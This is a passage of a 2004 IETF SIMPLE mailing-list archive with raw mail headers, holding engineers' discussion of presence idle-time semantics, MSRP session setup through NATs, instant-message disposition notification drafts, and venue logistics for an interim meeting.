> since the phone was used, then a long idle time says nothing about the 
> likelihood that a call would be answered. And conversely, a lack of an 
> <idle> status likely increases the probability that a call won't be 
> answered.
> 
> So we end up with a status attribute whose significance is dependent on 
> the type of device publishing it. That seems like a bad thing. I'm not 
> sure what the solution is. Perhaps replacing idle with an attribute that 
> expressed a probability that the device is attended?

I can't see how a PC or phone could compute these probabilities. This 
would require knowing that 10 minutes of absence (the only observable 
value), for a particular user, implies that there's a 20% chance that 
the user has stepped out. Unless your PC or phone has a user proximity 
detector, this seems hard to do.

We do have the contact-type to allow the receiver to guess what this may 
mean. I think we discussed this before: in almost all cases, the value 
of a long idle time is not all that high (unless you know that the 
presentity is either a telemarketer who doesn't exist without a phone or 
a compulsive PC user that doesn't take his hands off the keyboard while 
in the office), but a short idle time is a good indication that somebody 
is likely home, be it a phone or PC.

Thus, my suggestion is to leave this as is and not try to over-interpret 
the value.



> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:00:34 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA22930
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:00:34 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjb-0006WI-05
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:27 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2381jmZ001327
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 03:01:45 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRJx-0000LC-IN
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 03:01:37 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA08626
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 03:00:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRJF-0007ij-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 03:00:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRHc-0007MN-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 02:59:13 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRGY-00070O-00; Wed, 03 Mar 2004 02:58:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyRBm-0005ZD-6a; Wed, 03 Mar 2004 02:53:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRBf-0007bF-9u; Wed, 03 Mar 2004 02:53:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRAa-0007PR-3u
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:52:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA08018
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:51:33 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRAC-0004zd-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:51:32 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyR9H-0004oz-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:50:36 -0500
Received: from mail4.dynamicsoft.com ([63.110.3.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyR8i-0004dj-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:50:00 -0500
Received: from DYN-TX-EXCH-001.dynamicsoft.com (dyn-tx-exch-001 [63.110.3.8])
	by mail4.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i237nK0p028961;
	Wed, 3 Mar 2004 01:49:21 -0600 (CST)
Received: by dyn-tx-exch-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <10MYQRMB>; Wed, 3 Mar 2004 01:49:20 -0600
Message-ID: <9ACE0CEE075B494096C86C23878BF85906A35E@dyn-tx-exch-001.dynamicsoft.com>
From: Adam Roach <adam@dynamicsoft.com>
To: "'Paul Kyzivat'" <pkyzivat@cisco.com>, Adam Roach <adam@dynamicsoft.com>
Cc: "'Cullen Jennings'" <fluffy@cisco.com>,
        Ben Campbell
	 <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>,
        simple@ietf.org
Subject: RE: [Simple] RE: MSRP & Comedia
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 01:49:18 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

That's all great. Now tell me how it works using
the Cisco 7960 sitting on my desk right now. Assume
that upgrading the software is not an option.

/a

> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Tuesday, March 02, 2004 20:09
> To: Adam Roach
> Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
> simple@ietf.org
> Subject: Re: [Simple] RE: MSRP & Comedia
> 
> 
> There are a couple of solutions to the bad user experience 
> you outline:
> 
> - the UAC can use callerprefs to indicate what media it desires.
>    For this to work the UAS would have to evaluate the callerprefs,
>    which isn't currently required or expected.
> 
> - preconditions could be used to ensure that there is a satisfactory
>    agreement on media before alerting. In this particular 
> case it would
>    be the UAS that inserts the preconditions as a way of improving the
>    user experience at its end. Most any precondition would do, though
>    the newly proposed connectivity precondition would be quite
>    appropriate. A hypothetical new precondition relating to 
> negotiation
>    of some acceptable (set of) media stream(s) might also be 
> interesting.
> 
> Paul
> 
> Adam Roach wrote:
> > Okay, so, the user experience you're promoting
> > here would lead to a situation in which you open
> > up your IM client, type in a message for me,
> > and my desktop hard phone starts ringing. Several
> > seconds later, I pick up the receiver, my hardphone
> > sends a "200 OK" response, and... well, nothing
> > good can come of any result at this point.
> > 
> > If your client supports audio, my voice is suddenly
> > coming out of your PC speakers. If not, the call
> > is torn down, your client renders an error to you,
> > sends me a bye, and I'm sitting there holding a dead
> > handset.
> > 
> > This is the problem that I've pointed out occasionally
> > for several years: this "send an INVITE with no body"
> > approach for setting up sessions causes all kinds
> > of problems. It was originally added for interwork
> > with the prehistoric H.323v1 procedures, and not killed
> > because we observed that it can be used in this clever
> > 3pcc hack -- but it invariably leads to a message that
> > semantically means the same thing as the dialog
> > box that I sent earlier.
> > 
> > /a
> > 
> > 
> >>-----Original Message-----
> >>From: Cullen Jennings [mailto:fluffy@cisco.com]
> >>Sent: Monday, March 01, 2004 8:38
> >>To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
> >>Cc: simple@ietf.org
> >>Subject: Re: [Simple] RE: MSRP & Comedia
> >>
> >>
> >>
> >>It just sends an offer with all three and then the other ends 
> >>selects. This
> >>is how SIP is today - you can send an invite with no offer 
> >>then get the
> >>offer in the response and put the answer in the ack.
> >>
> >>On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
> >>
> >>
> >>>From a protocol perspective, this sounds reasonable.
> >>>
> >>>I think the key problem is that the first example shifts the
> >>>decision of what type of communication is requested
> >>>from the caller to the callee. Without getting into a discussion
> >>>of whether that is the "right" thing to do, it certainly is
> >>>going to differ from user expectations.
> >>>
> >>>+----------------------------------------------+
> >>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
> >>>| to start a conversation, but I have no idea  |
> >>>| what kind. Take your best guess:             |
> >>>|                                              |
> >>>|    +-------+  +-----------------+  +----+    |
> >>>|    | Voice |  | Voice and video |  | IM |    |
> >>>|    +-------+  +-----------------+  +----+    |
> >>>+----------------------------------------------+
> >>>
> >>>/a
> >>>
> >>>
> >>>>-----Original Message-----
> >>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
> >>>>Sent: Friday, February 27, 2004 0:50
> >>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
> >>>>Cc: simple@ietf.org
> >>>>Subject: MSRP & Comedia
> >>>>
> >>>>
> >>>>
> >>>>This is a half baked idea that I am just tossing out as food
> >>>>for thought
> >>>>
> >>>>Consider a systems where something like the UA that sends the
> >>>>answer sends
> >>>>the VISIT. 
> >>>>
> >>>>Consider the cases where A want to set up a MSRP session with B.
> >>>>
> >>>>A is behind a NAT and does not want to use a relay. A sends
> >>>>an INVITE with
> >>>>no offer. B sends an offer, gets back an answer and A 
> >>>
> >>sends the VISIT.
> >>
> >>>>A -> inv    -> B
> >>>>A <- offer  <- B
> >>>>A -> answer -> B
> >>>>A -> visit  -> B
> >>>>
> >>>>B is behind a NAT. A sends an offer and B sends an answer and
> >>>>A sends VISIT.
> >>>>A -> offer  -> B
> >>>>A <- answer <- B
> >>>>A <- visit  <- B
> >>>>
> >>>>A and B are behind NATS. A sends INVITE no offer, B knows
> >>>>relay is needed
> >>>>and gets one and sends offer.
> >>>>
> >>>>The underlying principal is basically if you don't know what
> >>>>port you are
> >>>>going to receive media at (which is the case with a NAT) you
> >>>>should not be
> >>>>making any offers and if you make an offer the assumption is
> >>>>that the other
> >>>>side and send media (a VISIT) to that and have it work.
> >>>>
> >>>>The fundamental thing I am trying to avoid is two vendors
> >>>>both saying they
> >>>>have MSRP compliant systems yet still having them fail to be
> >>>>able to talk to
> >>>>each other because they both expect the other one to host.
> >>>>
> >>>
> >>>_______________________________________________
> >>>Simple mailing list
> >>>Simple@ietf.org
> >>>https://www1.ietf.org/mailman/listinfo/simple
> >>>
> >>
> >>
> >>_______________________________________________
> >>Simple mailing list
> >>Simple@ietf.org
> >>https://www1.ietf.org/mailman/listinfo/simple
> >>
> > 
> > 
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> > 
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:01:35 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA23155
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:01:35 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rja-0006a4-Nf
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:26 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i1TDbKsW013687
	for simple-archive@odin.ietf.org; Sun, 29 Feb 2004 08:37:20 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxR8A-0003Ob-Mv
	for simple-web-archive@optimus.ietf.org; Sun, 29 Feb 2004 08:37:18 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA21495
	for <simple-web-archive@ietf.org>; Sun, 29 Feb 2004 08:37:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxR7s-0002vQ-00
	for simple-web-archive@ietf.org; Sun, 29 Feb 2004 08:37:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxR6p-0002kZ-00
	for simple-web-archive@ietf.org; Sun, 29 Feb 2004 08:35:56 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxR6A-0002fs-00; Sun, 29 Feb 2004 08:35:14 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AxR66-0002WE-Cy; Sun, 29 Feb 2004 08:35:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxR41-0002bC-2Z; Sun, 29 Feb 2004 08:33:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxR3r-0002aR-SG
	for simple@optimus.ietf.org; Sun, 29 Feb 2004 08:32:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA21389
	for <simple@ietf.org>; Sun, 29 Feb 2004 08:32:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxR3q-0002Vl-00
	for simple@ietf.org; Sun, 29 Feb 2004 08:32:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxR2s-0002RI-00
	for simple@ietf.org; Sun, 29 Feb 2004 08:31:51 -0500
Received: from goalie.snowshore.com ([216.57.133.4] helo=webshield.office.snowshore.com)
	by ietf-mx with smtp (Exim 4.12)
	id 1AxR2e-0002Nk-00
	for simple@ietf.org; Sun, 29 Feb 2004 08:31:36 -0500
Received: from zoe.office.snowshore.com(192.168.1.172) by webshield.office.snowshore.com via csmap 
	 id 24252; Sun, 29 Feb 2004 08:31:10 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Advanced IM requirements
Message-ID: <4A3384433CE2AB46A63468CB207E209DB1A1D7@zoe.office.snowshore.com>
Thread-Topic: [Simple] RE: Advanced IM requirements
Thread-Index: AcP8NPp5q7RILtx2TC2q6ugwF/wXGwBOoqlgAE82m+A=
From: "Eric Burger" <eburger@snowshore.com>
To: "Chris Boulton" <cboulton@ubiquity.net>, <aki.niemi@nokia.com>
Cc: <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sun, 29 Feb 2004 08:30:37 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

The differences between the drafts goes much farther than e-mail format =
versus XML format.  That said, other than "XML is cool", is there a =
reason for using XML instead of reusing the Message Disposition =
Notification's e-mail-oriented syntax?

First and foremost, the sipping-message-receipt draft does not specify =
the reporting period.  simple-imdn explicitly states that the recipient =
will send one and only one notification.  This simplifies state =
management at the sender.  It also eliminates an avenue for a =
denial-of-service attack, whereby the sender gets flooded with =
notifications as the message is received, processed, read, and deleted.

If there is a requirement for following the entire lifetime of a =
message, SUBSCRIBE/NOTIFY is a much better technology than either =
sipping-message-receipt or simple-imdn.  That said, I cannot imagine a =
use case that requires such notification.  Am I missing something?

Paul's comments hold: GRUU is not likely to be a good idea for =
notifications.  In fact, the reason that e-mail notifications and =
simple-imdn notifications can go to a different URI than the message =
sender is that the notification processor is often an automaton.  The =
user does not want to see the notifications -- they just want to see the =
blinky light turn off or the grey icon turn solid.

Moreover, the UAC instance could be long gone by the time the message =
has a disposition.  If you were in an interactive conversation, you =
wouldn't need notification in the first place...

Is there a reason for the notification request and protocol machinery to =
be a SIP, and not CPIM, construction?  Is this a generic notification =
protocol for SIP?  If so, are there use cases outside of CPIM?  This =
also is an issue for the report MIME type.  It is OK if it is a generic =
SIP tool.  However, I would call it something other than =
application/receipt-info+xml if it is only for IM.  I would call it what =
it is, something like application/simple-notification+xml.

One place where the issue of notification being a SIP vs. CPIM construct =
is message correlation.  The sipping-message-receipt draft goes to great =
lengths (e.g., invoking GRUU and GRID) to identify a message.  However, =
there already is a MsgID parameter in CPIM.  Users have no concept of =
GRUU or GRID, but they do have concepts (or at least the user interface =
can make sensible indicators) of message ID.  Likewise, the use of =
Call-ID for <message-id> doesn't make sense.

The normative UAS behavior is, IMHO, not correct for a message that =
requires disposition notification.  If the UAC requires a message =
disposition report, and the UAS refuses to give one, the message should =
be rejected.  In the e-mail world, this is how we train UAC's to not =
ask.

On the processing of the Receipt-To header, the sipping-message-receipt =
draft suggests that "Receipt-To" SHOULD NOT be in a notification.  This =
really, really, really has to be MUST NOT.  Under what circumstance is =
it OK for a notification to ask for a notification?  While we're at it, =
the UAC needs a "MUST disregard Receipt-To in a notification".

Concerning the <final-destination> element: It is useful to expose the =
route choices for error reports.  However, for notification reports is =
it a good idea to expose the UAS' actual Request-URI?

simple-imdn explicitly did not include the <deleted> state.  What does =
that mean for an Instant Message?

> -----Original Message-----
> From: Eric Burger=20
> Sent: Friday, February 27, 2004 4:24 PM
> To: Jonathan Rosenberg; Chris Boulton
> Cc: simple@ietf.org
> Subject: RE: [Simple] RE: Advanced IM requirements
>=20
>=20
> The IMDN proposal (draft-burger-simple-imdn-00.txt) reuses=20
> all of the protocol machinery, parsers, and deployment=20
> experience of the MDN machinery from the messaging world.
>=20
> Do note that almost half of the IMDN draft deals directly or=20
> indirectly with security issues.  The message-receipt draft=20
> will need to be expanded greatly to address the IESG issues=20
> that are sure to arise that the messaging folks have hashed=20
> through in the past.
>=20
> I'll take a closer look at the message-receipt draft over the=20
> weekend (isn't that what long plane flights are for?). =20
> Expect more on Monday, Korea Time :-)
>=20
> > -----Original Message-----
> > From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
> > Sent: Thursday, February 26, 2004 1:51 AM
> > To: Chris Boulton
> > Cc: Miguel.An.Garcia@nokia.com; simple@ietf.org; Eric Burger
> > Subject: Re: [Simple] RE: Advanced IM requirements
> >=20
> >=20
> >=20
> >=20
> > Chris Boulton wrote:
> >=20
> > > 1. it placed the URI for sending the delivery=20
> notification as a CPIM
> > > header, not a SIP header
> > >=20
> > > <<CJB>> Out of interest, what was the driving force for=20
> > this design choice?
> >=20
> > I believe the document talks a bit about this. It would make the=20
> > mechanism applicable to any system that uses cpim, which=20
> > would include=20
> > IM sessions and in theory any other IMPP compliant IM=20
> > protocol, though=20
> > since XMPP is not using it there are practically none others.
> >=20
> > Of course, Eric is the author of this and is better suited to=20
> > answer the=20
> > question.
> >=20
> > -Jonathan R.
> > --=20
> > Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> > Chief Technology Officer                    Parsippany, NJ=20
> 07054-2711
> > dynamicsoft
> > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > http://www.jdrosen.net                      PHONE: (973) 952-5000
> > http://www.dynamicsoft.com
> >=20
> >=20
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20
>=20


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:01:52 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA23297
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:01:52 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rja-0006WI-HN
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:26 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MKQqjI021341
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 15:26:52 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5W0a-0005Y8-Bx
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 15:26:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18560
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 15:26:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5W0Y-0006FS-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:26:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Vzc-000678-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:25:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Vyh-00060P-00; Mon, 22 Mar 2004 15:24:55 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Vyh-00054j-LA; Mon, 22 Mar 2004 15:24:55 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Uqs-0004sI-Jq
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 14:12:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA13340
	for <simple@ietf.org>; Mon, 22 Mar 2004 14:12:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Uqq-0005Mm-00
	for simple@ietf.org; Mon, 22 Mar 2004 14:12:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Upu-0005H3-00
	for simple@ietf.org; Mon, 22 Mar 2004 14:11:47 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5UpM-000597-00; Mon, 22 Mar 2004 14:11:12 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-2.cisco.com with ESMTP; 22 Mar 2004 11:15:22 +0000
Received: from wells.cisco.com (wells.cisco.com [171.71.177.223])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i2MJAbaD002631;
	Mon, 22 Mar 2004 11:10:38 -0800 (PST)
Received: from jmpolk-w2k01.diablo.cisco.com (ssh-sjc-1.cisco.com [171.68.225.134]) by wells.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id LAA01726; Mon, 22 Mar 2004 11:10:36 -0800 (PST)
Message-Id: <4.3.2.7.2.20040322130812.02701008@localhost>
X-Sender: jmpolk@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
To: <sipping@ietf.org>
From: "James M. Polk" <jmpolk@cisco.com>
Cc: <sip@ietf.org>, <simple@ietf.org>
In-Reply-To: <AAB4B3D3CF0F454F98272CBE187FDE2F056B2946@is0004avexu1.glob
 al.avaya.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: [Simple] RE: [Sip] RE: [Sipping] Proposed dates for SIPish interim
 meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 13:10:45 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

At 08:35 PM 3/22/2004 +0200, Romascanu, Dan (Dan) wrote:
>British Airways is another company that I am aware about, operating daily 
>flights from London, Heathrow to Denver and return.

Denver is a big United Airlines hub - they probably fly to somewhere in 
Europe as well (likely London).

Boulder is a ~ 45 minutes drive from Denver Airport (with no traffic that 
is  ;-)


>Regards,
>
>Dan
>
>
>
> > -----Original Message-----
> > From: sip-admin@ietf.org [mailto:sip-admin@ietf.org]On Behalf
> > Of Kozdon, Peter
> > Sent: 22 March, 2004 7:55 PM
> > To: 'john.loughney@nokia.com'; dean.willis@softarmor.com;
> > sipping@ietf.org
> > Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
> > Subject: RE: [Sip] RE: [Sipping] Proposed dates for SIPish
> > interim meetings
> >
> >
> > The closest airport is Denver International (45 minutes
> > drive)  - there is
> > at least 1 direct flight from Europe (LH via Frankfurt)
> >
> > -----Original Message-----
> > From: sip-admin@ietf.org [mailto:sip-admin@ietf.org] On Behalf Of
> > john.loughney@nokia.com
> > Sent: Sunday, March 21, 2004 10:13 PM
> > To: dean.willis@softarmor.com; sipping@ietf.org
> > Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
> > Subject: [Sip] RE: [Sipping] Proposed dates for SIPish
> > interim meetings
> >
> > Dean,
> >
> > > As I understand it, the leading candidate for venue is the
> > Boulderama
> > > in Boulder, Colorado. Rohan's current proposal is to ask
> > each attendee
> > > to contribute $50 toward meeting fees (princiaplly, renting
> > the room).
> > > Of course, if somebody wants to sponsor the meeting and pick up the
> >
> > Is there an option of someone hosting the meeting?  This is probably
> > easier to do than finding someone to foot the bill.
> >
> > Also, Boulder is 3 to 4 hops away from Europe, which seems
> > sub-optimal ...
> >
> > John
> >
> >
> > _______________________________________________
> > Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the core SIP Protocol Use
> > sip-implementors@cs.columbia.edu for questions on current sip Use
> > sipping@ietf.org for new developments on the application of sip
> >
> > _______________________________________________
> > Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the core SIP Protocol
> > Use sip-implementors@cs.columbia.edu for questions on current sip
> > Use sipping@ietf.org for new developments on the application of sip
> >
>
>_______________________________________________
>Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
>This list is for NEW development of the core SIP Protocol
>Use sip-implementors@cs.columbia.edu for questions on current sip
>Use sipping@ietf.org for new developments on the application of sip


cheers,
James

                                *******************
                 Truth is not to be argued... it is to be presented


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:02:44 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA23672
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:02:44 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rja-0006ZK-AA
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:26 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MKQkNa021277
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 15:26:46 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5W0U-0005X6-L3
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 15:26:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18462
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 15:26:44 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
